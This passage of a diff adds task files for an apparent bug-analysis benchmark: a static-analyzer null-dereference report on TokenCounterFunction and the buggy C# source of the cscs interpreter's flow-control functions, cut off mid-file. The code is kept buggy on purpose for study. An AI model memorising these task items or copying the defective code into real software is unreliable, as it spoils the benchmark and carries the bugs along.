+pointer `all` last assigned on line 2619 could be null and is dereferenced at line 2626, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Variable TokenCounterFunction.Evaluate(ParsingScript)
+
+### File:
+cscs/Functions.Flow.cs
+
+### Key:
+Functions.Flow.cs|Evaluate|NULL_DEREFERENCE
+
+### Node Key:
+bef2fe14012af516d6c7bc5d1bd471c5
+
+### Hash:
+b0f56c2b42f5b0422f61218dea743349
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1870/instruction.md b/inferredbugs-1870/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..50dbf11a686a35bc3208bf6ad61165f7236fbbcd
--- /dev/null
+++ b/inferredbugs-1870/instruction.md
@@ -0,0 +1,1145 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** cscs
+**Bug ID:** 7
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+
+namespace SplitAndMerge
+{
+  class BreakStatement : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      return new Variable(Variable.VarType.BREAK);
+    }
+  }
+  class ContinueStatement : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      return new Variable(Variable.VarType.CONTINUE);
+    }
+  }
+
+  class ReturnStatement : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      script.MoveForwardIf(Constants.SPACE);
+      if (!script.FromPrev(Constants.RETURN.Length).Contains(Constants.RETURN)) {
+        script.Backward ();
+      }
+      Variable result = Utils.GetItem (script);
+
+      // If we are in Return, we are done:
+      script.SetDone();
+      result.IsReturn = true;
+
+      return result;
+    }
+  }
+
+  class TryBlock : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      return Interpreter.Instance.ProcessTry(script);
+    }
+  }
+
+  class ExitFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      Environment.Exit(0);
+      return Variable.EmptyInstance;
+    }
+  }
+
+  class ThrowFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // 1. Extract what to throw.
+       Variable arg = Utils.GetItem(script);
+
+      // 2. Convert it to a string.
+      string result = arg.AsString();
+
+      // 3. Throw it!
+      throw new ArgumentException(result);
+    }
+  }
+
+  class ShowFunction : ParserFunction, IStringFunction
+  {
+    protected override Variable Evaluate (ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 1, m_name, true);
+
+      string funcName = args[0].AsString();
+
+      ParserFunction function = ParserFunction.GetFunction(funcName);
+      CustomFunction custFunc = function as CustomFunction;
+      Utils.CheckNotNull(funcName, custFunc);
+
+      string body = Utils.BeautifyScript(custFunc.Body, custFunc.Header);
+      Translation.PrintScript(body);
+
+      return new Variable(body);
+    }
+  }
+
+  class TranslateFunction : ParserFunction, IStringFunction
+  {
+    protected override Variable Evaluate (ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 2, m_name, true);
+
+      string language = args[0].AsString();
+      string funcName = args[1].AsString();
+
+      ParserFunction function = ParserFunction.GetFunction(funcName);
+      CustomFunction custFunc = function as CustomFunction;
+      Utils.CheckNotNull(funcName, custFunc);
+
+      string body = Utils.BeautifyScript(custFunc.Body, custFunc.Header);
+      string translated = Translation.TranslateScript(body, language);
+      Translation.PrintScript(translated);
+
+      return new Variable(translated);
+    }
+  }
+
+  class FunctionCreator : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      string funcName = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+      //Interpreter.Instance.AppendOutput("Registering function [" + funcName + "] ...");
+
+      string[] args = Utils.GetFunctionSignature(script);
+      if (args.Length == 1 && string.IsNullOrWhiteSpace(args[0])) {
+        args = new string[0];
+      }
+
+      script.MoveForwardIf(Constants.START_GROUP, Constants.SPACE);
+      int parentOffset = script.Pointer;
+
+      string body = Utils.GetBodyBetween(script, Constants.START_GROUP, Constants.END_GROUP);
+
+      CustomFunction customFunc = new CustomFunction(funcName, body, args);
+      customFunc.ParentScript = script;
+      customFunc.ParentOffset = parentOffset;
+
+      ParserFunction.RegisterFunction(funcName, customFunc, false /* not native */);
+
+      return new Variable(funcName);
+    }
+  }
+
+  class CustomFunction : ParserFunction
+  {
+    internal CustomFunction(string funcName,
+                            string body, string[] args)
+    {
+      m_name = funcName;
+      m_body = body;
+      m_args = args;
+    }
+
+    public void RegisterArguments(List<Variable> args)
+    {
+      StackLevel stackLevel = new StackLevel (m_name);
+      for (int i = 0; i < m_args.Length; i++) {
+        stackLevel.Variables[m_args [i]] = new GetVarFunction (args [i]);
+      }
+
+      ParserFunction.AddLocalVariables(stackLevel);
+    }
+
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      script.MoveBackIf(Constants.START_GROUP);
+
+      if (args.Count != m_args.Length) {   
+        throw new ArgumentException("Function [" + m_name + "] arguments mismatch: " +
+                            m_args.Length + " declared, " + args.Count + " supplied");
+      }
+
+      // 1. Add passed arguments as local variables to the Parser.
+      RegisterArguments(args);
+
+      // 2. Execute the body of the function.
+      Variable result = null;
+      ParsingScript tempScript = new ParsingScript(m_body);
+      tempScript.ScriptOffset = m_parentOffset;
+      if (m_parentScript != null) {
+        tempScript.Char2Line      = m_parentScript.Char2Line;
+        tempScript.Filename       = m_parentScript.Filename;
+        tempScript.OriginalScript = m_parentScript.OriginalScript;
+      }
+
+      while (tempScript.Pointer < m_body.Length - 1 && 
+            (result == null || !result.IsReturn)) {
+        result = tempScript.ExecuteTo();
+        tempScript.GoToNextStatement();
+      }
+
+      ParserFunction.PopLocalVariables();
+      //script.MoveForwardIf(Constants.END_ARG);
+      //script.MoveForwardIf(Constants.END_STATEMENT);
+
+      if (result == null) {
+        result = Variable.EmptyInstance;
+      } else {
+        result.IsReturn = false;
+      }
+
+      return result;
+    }
+
+    public ParsingScript ParentScript { set { m_parentScript = value; } }
+    public int           ParentOffset { set { m_parentOffset = value; } }
+    public string        Body         { get { return m_body; } }
+    public string        Header       { get {
+        return Constants.FUNCTION + " " + Name + " " +
+               Constants.START_ARG + string.Join (", ", m_args) +
+               Constants.END_ARG + " " + Constants.START_GROUP;
+         } }
+
+    protected string        m_body;
+    protected string[]      m_args;
+    protected ParsingScript m_parentScript = null;
+    protected int           m_parentOffset = 0;
+  }
+
+  class CompiledFunctionCreator : ParserFunction
+  {
+    protected override Variable Evaluate (ParsingScript script)
+    {
+      string funcReturn = Utils.GetToken (script, Constants.TOKEN_SEPARATION);
+      string funcName   = Utils.GetToken (script, Constants.TOKEN_SEPARATION);
+      //Interpreter.Instance.AppendOutput("Registering function [" + funcName + "] ...");
+
+      Precompiler.RegisterReturnType(funcName, funcReturn);
+
+      Dictionary<string, Variable> argsMap;
+      string [] args = Utils.GetCompiledFunctionSignature (script, out argsMap);
+
+      script.MoveForwardIf (Constants.START_GROUP, Constants.SPACE);
+      int parentOffset = script.Pointer;
+
+      string body = Utils.GetBodyBetween (script, Constants.START_GROUP, Constants.END_GROUP);
+
+      Precompiler precompiler = new Precompiler(funcName, args, argsMap, body);
+      precompiler.Compile();
+
+      CustomCompiledFunction customFunc = new CustomCompiledFunction(funcName, body, args, precompiler, argsMap);
+      customFunc.ParentScript = script;
+      customFunc.ParentOffset = parentOffset;
+
+      ParserFunction.RegisterFunction (funcName, customFunc, false /* not native */);
+
+      return new Variable (funcName);
+    }
+  }
+  class CustomCompiledFunction : CustomFunction
+  {
+    internal CustomCompiledFunction(string funcName,
+                                    string body, string[] args,
+                                    Precompiler precompiler,
+                                    Dictionary<string, Variable> argsMap)
+      : base(funcName, body, args)
+    {
+      m_precompiler = precompiler;
+      m_argsMap = argsMap;
+    }
+
+    protected override Variable Evaluate (ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      script.MoveBackIf (Constants.START_GROUP);
+
+      if (args.Count != m_args.Length) {
+        throw new ArgumentException ("Function [" + m_name + "] arguments mismatch: " +
+                            m_args.Length + " declared, " + args.Count + " supplied");
+      }
+
+      Variable result = Run(args);
+      return result;
+    }
+
+    public Variable Run(List<Variable> args)
+    {
+      RegisterArguments (args);
+
+      List<string> argsStr = new List<string> ();
+      List<double> argsNum = new List<double> ();
+      for (int i = 0; i < m_args.Length; i++) {
+        Variable typeVar = m_argsMap [m_args [i]];
+        if (typeVar.Type == Variable.VarType.STRING) {
+          argsStr.Add (args [i].AsString ());
+        } else if (typeVar.Type == Variable.VarType.NUMBER) {
+          argsNum.Add (args [i].AsDouble ());
+        }
+      }
+
+      Variable result = m_precompiler.Run(argsStr, argsNum, false);
+      ParserFunction.PopLocalVariables ();
+
+      return result;
+    }
+
+    Precompiler m_precompiler;
+    Dictionary<string, Variable> m_argsMap;
+  }
+
+  class StringOrNumberFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // First check if the passed expression is a string between quotes.
+      if (Item.Length > 1 &&
+          Item[0] == Constants.QUOTE &&
+          Item[Item.Length - 1] == Constants.QUOTE) {
+        return new Variable(Item.Substring(1, Item.Length - 2));
+      }
+
+      // Otherwise this should be a number.
+      double num = Utils.ConvertToDouble(Item, "StringOrNumber");
+      /*if (!Double.TryParse(Item, NumberStyles.Number |
+                           NumberStyles.AllowExponent |
+                           NumberStyles.Float,
+                           CultureInfo.InvariantCulture, out num)) {
+        Utils.ThrowException(script, "parseToken", Item, "parseTokenExtra");
+      }*/
+      return new Variable(num);
+    }
+
+    public string Item { private get; set; }
+  }
+
+  class AddFunction : ParserFunction
+  {
+    protected override Variable Evaluate (ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 2, m_name);
+
+      Variable currentValue = Utils.GetSafeVariable(args, 0);
+      Variable item = Utils.GetSafeVariable(args, 1);
+
+      currentValue.AddVariable(item);
+      if (!currentValue.ParsingToken.Contains(Constants.START_ARRAY.ToString())) {
+        ParserFunction.AddGlobalOrLocalVariable(currentValue.ParsingToken,
+                                                new GetVarFunction(currentValue));
+      }
+
+      return currentValue;
+    }
+  }
+  class RemoveFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // 1. Get the name of the variable.
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 2, m_name, true);
+      string varName = args[0].AsString();
+
+      // 2. Get the current value of the variable.
+      ParserFunction func = ParserFunction.GetFunction(varName);
+      Utils.CheckNotNull(varName, func);
+      Variable currentValue = func.GetValue(script);
+      Utils.CheckArray(currentValue, varName);
+
+      // 3. Get the variable to remove.
+      Variable item = args[1];
+
+      bool removed = currentValue.Tuple.Remove(item);
+
+      ParserFunction.AddGlobalOrLocalVariable(varName,
+                                              new GetVarFunction(currentValue));
+      return new Variable(removed);
+    }
+  }
+  class RemoveAtFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // 1. Get the name of the variable.
+      string varName = Utils.GetToken(script, Constants.NEXT_OR_END_ARRAY);
+      Utils.CheckNotEnd(script, m_name);
+
+      // 2. Get the current value of the variable.
+      ParserFunction func = ParserFunction.GetFunction(varName);
+      Utils.CheckNotNull(varName, func);
+      Variable currentValue = func.GetValue(script);
+      Utils.CheckArray(currentValue, varName);
+
+      // 3. Get the variable to remove.
+      Variable item = Utils.GetItem(script);
+      Utils.CheckNonNegativeInt(item);
+
+      currentValue.Tuple.RemoveAt(item.AsInt());
+
+      ParserFunction.AddGlobalOrLocalVariable(varName,
+                                              new GetVarFunction(currentValue));
+      return Variable.EmptyInstance;
+    }
+  }
+
+  class ContainsFunction : ParserFunction, INumericFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // 1. Get the name of the variable.
+      string varName = Utils.GetToken(script, Constants.NEXT_OR_END_ARRAY);
+      Utils.CheckNotEnd(script, m_name);
+
+      // 2. Get the current value of the variable.
+      List<Variable> arrayIndices = Utils.GetArrayIndices(ref varName);
+
+      ParserFunction func = ParserFunction.GetFunction(varName);
+      Utils.CheckNotNull(varName, func);
+      Variable currentValue = func.GetValue(script);
+
+      // 2b. Special dealings with arrays:
+      Variable query = arrayIndices.Count > 0 ?
+                       Utils.ExtractArrayElement(currentValue, arrayIndices) :
+                       currentValue;
+
+      // 3. Get the value to be looked for.
+      Variable searchValue = Utils.GetItem(script);
+      Utils.CheckNotEnd(script, m_name);
+
+      // 4. Check if the value to search for exists.
+      bool exists = query.Exists(searchValue, true /* notEmpty */);
+
+      script.MoveBackIf(Constants.START_GROUP);
+      return new Variable(exists);
+    }
+  }
+
+  class BoolFunction : ParserFunction, INumericFunction
+  {
+    bool m_value;
+    public BoolFunction(bool init)
+    {
+      m_value = init;
+    }
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      return new Variable(m_value);
+    }
+  }
+  class ToDoubleFunction : ParserFunction, INumericFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 1, m_name, true);
+      Variable arg = args[0];
+
+      double result = Utils.ConvertToDouble(arg.AsString());
+      return new Variable(result);
+    }
+  }
+  class ToIntFunction : ParserFunction, INumericFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 1, m_name, true);
+      Variable arg = args[0];
+
+      int result = Utils.ConvertToInt(arg.AsString());
+      return new Variable(result);
+    }
+  }
+  class ToBoolFunction : ParserFunction, INumericFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 1, m_name, true);
+      Variable arg = args[0];
+
+      double result = Utils.ConvertToBool(arg.AsString()) ? 1 : 0;
+      return new Variable(result);
+    }
+  }
+  class ToDecimalFunction : ParserFunction, INumericFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 1, m_name, true);
+      Variable arg = args[0];
+
+      string result = Decimal.Parse(arg.AsString(), NumberStyles.Any).ToString();
+      return new Variable(result);
+    }
+  }
+  class ToStringFunction : ParserFunction, IStringFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 1, m_name, true);
+      Variable arg = args[0];
+
+      string result = arg.AsString();
+      return new Variable(result);
+    }
+  }
+  class IdentityFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      return script.ExecuteTo(Constants.END_ARG);
+    }
+  }
+
+  class IfStatement : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      Variable result = Interpreter.Instance.ProcessIf(script);
+      return result;
+    }
+  }
+
+  class ForStatement : ParserFunction
+  {
+    protected override Variable Evaluate (ParsingScript script)
+    {
+      return Interpreter.Instance.ProcessFor(script);
+    }
+  }
+
+  class WhileStatement : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      return Interpreter.Instance.ProcessWhile(script);
+    }
+  }
+
+  class IncludeFile : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 1, m_name, true);
+
+      string filename = args[0].AsString();
+      string[] lines = Utils.GetFileLines(filename);
+
+      string includeFile = string.Join(Environment.NewLine, lines);
+      Dictionary<int, int> char2Line;
+      string includeScript = Utils.ConvertToScript(includeFile, out char2Line);
+      ParsingScript tempScript = new ParsingScript(includeScript, 0, char2Line);
+      tempScript.Filename = filename;
+      tempScript.OriginalScript = string.Join(Constants.END_LINE.ToString(), lines);
+
+      while (tempScript.Pointer < includeScript.Length) {
+        tempScript.ExecuteTo();
+        tempScript.GoToNextStatement();
+      }
+      return Variable.EmptyInstance;
+    }
+  }
+
+  // Get a value of a variable or of an array element
+  public class GetVarFunction : ParserFunction
+  {
+    public GetVarFunction(Variable value)
+    {
+      m_value = value;
+    }
+
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // First check if this element is part of an array:
+      if (script.TryPrev() == Constants.START_ARRAY)
+      {
+        // There is an index given - it must be for an element of the tuple.
+        if (m_value.Tuple == null || m_value.Tuple.Count == 0) {
+          throw new ArgumentException("No tuple exists for the index");
+        }
+
+        if (m_arrayIndices == null) {
+          string startName = script.Substr(script.Pointer - 1);
+          m_arrayIndices = Utils.GetArrayIndices(ref startName, ref m_delta);
+        }
+
+        script.Forward(m_delta);
+        while (script.MoveForwardIf(Constants.END_ARRAY)) {
+        }
+
+        Variable result = Utils.ExtractArrayElement(m_value, m_arrayIndices);
+        return result;
+      }
+
+      // Otherwise just return the stored value.
+      return m_value;
+    }
+
+    public int Delta {
+      set { m_delta = value; }
+    }
+    public List<Variable> Indices {
+      set { m_arrayIndices = value; }
+    }
+
+    private Variable m_value;
+    private int m_delta = 0;
+    private List<Variable> m_arrayIndices = null;
+  }
+  class IncrementDecrementFunction : ActionFunction, INumericFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      bool prefix = string.IsNullOrWhiteSpace(m_name);
+      if (prefix) {// If it is a prefix we do not have the variable name yet.
+        m_name = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+      }
+
+      // Value to be added to the variable:
+      int valueDelta = m_action == Constants.INCREMENT ? 1 : -1;
+      int returnDelta = prefix ? valueDelta : 0;
+
+      // Check if the variable to be set has the form of x[a][b],
+      // meaning that this is an array element.
+      double newValue = 0;
+      List<Variable> arrayIndices = Utils.GetArrayIndices(ref m_name);
+
+      ParserFunction func = ParserFunction.GetFunction(m_name);
+      Utils.CheckNotNull(m_name, func);
+
+      Variable currentValue = func.GetValue(script);
+
+      if (arrayIndices.Count > 0 || script.TryCurrent () == Constants.START_ARRAY) {
+        if (prefix) {
+          string tmpName = m_name + script.Rest;
+          int delta = 0;
+          arrayIndices = Utils.GetArrayIndices(ref tmpName, ref delta);
+          script.Forward(Math.Max(0, delta - tmpName.Length));
+        }
+
+        Variable element = Utils.ExtractArrayElement(currentValue, arrayIndices);
+        script.MoveForwardIf(Constants.END_ARRAY);
+
+        newValue = element.Value + returnDelta;
+        element.Value += valueDelta;
+      } else { // A normal variable.
+        newValue = currentValue.Value + returnDelta;
+        currentValue.Value += valueDelta;
+      }
+
+      ParserFunction.AddGlobalOrLocalVariable(m_name,
+                                              new GetVarFunction(currentValue));
+      return new Variable(newValue);
+    }
+
+    override public ParserFunction NewInstance()
+    {
+      return new IncrementDecrementFunction();
+    }
+  }
+
+  class OperatorAssignFunction : ActionFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // Value to be added to the variable:
+      Variable right  = Utils.GetItem(script);
+
+      List<Variable> arrayIndices = Utils.GetArrayIndices(ref m_name);
+
+      ParserFunction func = ParserFunction.GetFunction(m_name);
+      Utils.CheckNotNull(m_name, func);
+
+      Variable currentValue = func.GetValue(script);
+      Variable left = currentValue;
+
+      if (arrayIndices.Count > 0) {// array element
+        left = Utils.ExtractArrayElement(currentValue, arrayIndices);
+        script.MoveForwardIf(Constants.END_ARRAY);
+      }
+
+      if (left.Type == Variable.VarType.NUMBER) {
+        NumberOperator(left, right, m_action);
+      } else {
+        StringOperator(left, right, m_action);
+      }
+
+      if (arrayIndices.Count > 0) {// array element
+        AssignFunction.ExtendArray(currentValue, arrayIndices, 0, left);
+        ParserFunction.AddGlobalOrLocalVariable (m_name,
+                                                 new GetVarFunction(currentValue));
+      } else {
+        ParserFunction.AddGlobalOrLocalVariable (m_name,
+                                                 new GetVarFunction(left));
+      }
+      return left;
+    }
+
+    static void NumberOperator(Variable valueA,
+                               Variable valueB, string action)
+    {
+      switch (action) {
+      case "+=":
+        valueA.Value += valueB.Value;
+        break;
+      case "-=":
+        valueA.Value -= valueB.Value;
+        break;
+      case "*=":
+        valueA.Value *= valueB.Value;
+        break;
+      case "/=":
+        valueA.Value /= valueB.Value;
+        break;
+      case "%=":
+        valueA.Value %= valueB.Value;
+        break;
+      case "&=":
+        valueA.Value = (int)valueA.Value & (int)valueB.Value;
+        break;
+      case "|=":
+        valueA.Value = (int)valueA.Value | (int)valueB.Value;
+        break;
+      case "^=":
+        valueA.Value = (int)valueA.Value ^ (int)valueB.Value;
+        break;
+      }
+    }
+    static void StringOperator(Variable valueA,
+      Variable valueB, string action)
+    {
+      switch (action)
+      {
+      case "+=":
+        if (valueB.Type == Variable.VarType.STRING) {
+          valueA.String += valueB.AsString();
+        } else {
+          valueA.String += valueB.Value;
+        }
+        break;
+      }
+    }
+
+        override public ParserFunction NewInstance()
+    {
+      return new OperatorAssignFunction();
+    }
+  }
+
+  class AssignFunction : ActionFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      Variable varValue = Utils.GetItem(script);
+
+      // Check if the variable to be set has the form of x[a][b]...,
+      // meaning that this is an array element.
+      List<Variable> arrayIndices = Utils.GetArrayIndices(ref m_name);
+
+      if (arrayIndices.Count == 0) {
+        ParserFunction.AddGlobalOrLocalVariable(m_name, new GetVarFunction(varValue));
+        return varValue.DeepClone();
+      }
+
+      Variable array;
+
+      ParserFunction pf = ParserFunction.GetFunction(m_name);
+      if (pf != null) {
+        array = pf.GetValue(script);
+      } else {
+        array = new Variable();
+      }
+
+      ExtendArray(array, arrayIndices, 0, varValue);
+
+      ParserFunction.AddGlobalOrLocalVariable(m_name, new GetVarFunction(array));
+      return array;
+    }
+
+    override public ParserFunction NewInstance()
+    {
+      return new AssignFunction();
+    }
+
+    public static void ExtendArray(Variable parent,
+                     List<Variable> arrayIndices,
+                     int indexPtr,
+                     Variable varValue)
+    {
+      if (arrayIndices.Count <= indexPtr) {
+        return;
+      }
+
+      Variable index = arrayIndices[indexPtr];
+      int currIndex = ExtendArrayHelper(parent, index);
+
+      if (arrayIndices.Count - 1 == indexPtr) {
+        parent.Tuple[currIndex] = varValue;
+        return;
+      }
+
+      Variable son = parent.Tuple[currIndex];
+      ExtendArray(son, arrayIndices, indexPtr + 1, varValue);
+    }
+
+    private static int ExtendArrayHelper(Variable parent, Variable indexVar)
+    {
+      parent.SetAsArray();
+
+      int arrayIndex = parent.GetArrayIndex(indexVar);
+      if (arrayIndex < 0) {
+        // This is not a "normal index" but a new string for the dictionary.
+        string hash = indexVar.AsString();
+        arrayIndex = parent.SetHashVariable(hash, Variable.NewEmpty());
+        return arrayIndex;
+      }
+
+      if (parent.Tuple.Count <= arrayIndex) {
+        for (int i = parent.Tuple.Count; i <= arrayIndex; i++) {
+          parent.Tuple.Add(Variable.NewEmpty());
+        }
+      }
+      return arrayIndex;
+    }
+  }
+
+  class DeepCopyFunction : ActionFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      Variable varValue = Utils.GetItem(script);
+      return varValue.DeepClone(); ;
+    }
+  }
+
+  class TokenizeLinesFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 3, m_name);
+
+      string varName = Utils.GetSafeString(args, 0);
+      Variable lines = Utils.GetSafeVariable(args, 1);
+      int fromLine = Utils.GetSafeInt(args, 2);
+      string sepStr = Utils.GetSafeString(args, 3, "\t");
+      if (sepStr == "\\t") {
+        sepStr = "\t";
+      }
+      char[] sep = sepStr.ToCharArray();
+
+      var function = ParserFunction.GetFunction(varName);
+      Variable allTokensVar = new Variable(Variable.VarType.ARRAY);
+
+      for (int counter = fromLine; counter < lines.Tuple.Count; counter++) {
+        Variable lineVar = lines.Tuple[counter];
+        Variable toAdd = new Variable(counter - fromLine);
+        string line = lineVar.AsString();
+        var tokens = line.Split(sep);
+        Variable tokensVar = new Variable(Variable.VarType.ARRAY);
+        foreach (string token in tokens) {
+          tokensVar.Tuple.Add(new Variable(token));
+        }
+        allTokensVar.Tuple.Add(tokensVar);
+      }
+
+      ParserFunction.AddGlobalOrLocalVariable(varName,
+                                              new GetVarFunction(allTokensVar));
+
+      return Variable.EmptyInstance;
+    }
+  }
+
+  class AddVariablesToHashFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 3, m_name);
+
+      string varName = Utils.GetSafeString(args, 0);
+      Variable lines = Utils.GetSafeVariable(args, 1);
+      int fromLine   = Utils.GetSafeInt(args, 2);
+      string hash2   = Utils.GetSafeString(args, 3);
+      string sepStr  = Utils.GetSafeString(args, 4, "\t");
+      if (sepStr == "\\t") {
+        sepStr = "\t";
+      }
+      char[] sep = sepStr.ToCharArray();
+
+      var function = ParserFunction.GetFunction(varName);
+      Variable mapVar = function != null ? function.GetValue(script) :
+                                  new Variable(Variable.VarType.ARRAY);
+
+      for (int counter = fromLine; counter < lines.Tuple.Count; counter++) {
+        Variable lineVar = lines.Tuple[counter];
+        Variable toAdd = new Variable(counter - fromLine);
+        string line = lineVar.AsString();
+        var tokens = line.Split(sep);
+        string hash = tokens[0];
+        mapVar.AddVariableToHash(hash, toAdd);
+        if (!string.IsNullOrWhiteSpace(hash2) &&
+            !hash2.Equals(hash, StringComparison.OrdinalIgnoreCase)) {
+          mapVar.AddVariableToHash(hash2, toAdd);
+        }
+      }
+
+      ParserFunction.AddGlobalOrLocalVariable(varName,
+                                        new GetVarFunction(mapVar));
+      return Variable.EmptyInstance;
+    }
+  }
+  class AddVariableToHashFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 3, m_name);
+
+      string varName = Utils.GetSafeString(args, 0);
+      Variable toAdd = Utils.GetSafeVariable(args, 1);
+      string hash    = Utils.GetSafeString(args, 2);
+
+      var function = ParserFunction.GetFunction(varName);
+      Variable mapVar = function != null ? function.GetValue(script) :
+                                  new Variable(Variable.VarType.ARRAY);
+
+      mapVar.AddVariableToHash(hash, toAdd);
+      for (int i = 3; i < args.Count; i++) {
+        string hash2 = Utils.GetSafeString(args, 3);
+        if (!string.IsNullOrWhiteSpace(hash2) &&
+            !hash2.Equals(hash, StringComparison.OrdinalIgnoreCase)) {
+          mapVar.AddVariableToHash(hash2, toAdd);
+        }
+      }
+
+      ParserFunction.AddGlobalOrLocalVariable(varName,
+                                          new GetVarFunction(mapVar));
+
+      return Variable.EmptyInstance;
+    }
+  }
+  class TokenCounterFunction : ParserFunction, IArrayFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 2, m_name);
+
+      Variable all    = Utils.GetSafeVariable(args, 0);
+      string varName  = Utils.GetSafeString(args, 1);
+      int index       = Utils.GetSafeInt(args, 2);
+
+      var function    = ParserFunction.GetFunction(varName);
+      Variable mapVar = new Variable(Variable.VarType.ARRAY);
+
+      if (all.Tuple == null) {
+        return Variable.EmptyInstance;
+      }
+
+      string currentValue = "";
+      int currentCount = 0;
+
+      int globalCount = 0;
+
+      for (int i = 0; i < all.Tuple.Count; i++) {
+        Variable current = all.Tuple[i];
+        if (current.Tuple == null || current.Tuple.Count < index) {
+          break;
+        }
+        string newValue = current.Tuple[index].AsString();
+        if (currentValue != newValue) {
+          currentValue = newValue;
+          currentCount = 0;
+        }
+        mapVar.Tuple.Add(new Variable(currentCount));
+        currentCount++;
+        globalCount++;
+      }
+
+      ParserFunction.AddGlobalOrLocalVariable(varName,
+                                          new GetVarFunction(mapVar));
+      return mapVar;
+    }
+  }
+  class GetColumnFunction : ParserFunction, IArrayFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 2, m_name);
+
+      Variable arrayVar = Utils.GetSafeVariable(args, 0);
+      int col           = Utils.GetSafeInt(args, 1);
+      int fromCol       = Utils.GetSafeInt(args, 2, 0);
+
+      var tuple = arrayVar.Tuple;
+
+      List<Variable> result = new List<Variable>(tuple.Count);
+      for (int i = fromCol; i < tuple.Count; i++) {
+        Variable current = tuple[i];
+        if (current.Tuple == null || current.Tuple.Count <= col) {
+          throw new ArgumentException(m_name + ": Index [" + col + "] doesn't exist in column " +
+                                      i + "/" + (tuple.Count - 1));
+        }
+        result.Add(current.Tuple[col]);
+      }
+
+      return new Variable(result);
+    }
+  }
+  class GetAllKeysFunction : ParserFunction, IArrayFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      Variable varName = Utils.GetItem(script);
+      Utils.CheckNotNull(varName, m_name);
+
+      List<Variable> results = varName.GetAllKeys();
+
+      return new Variable(results);
+    }
+  }
+
+  class TypeFunction : ParserFunction, IStringFunction
+  {
+    protected override Variable Evaluate (ParsingScript script)
+    {
+      // 1. Get the name of the variable.
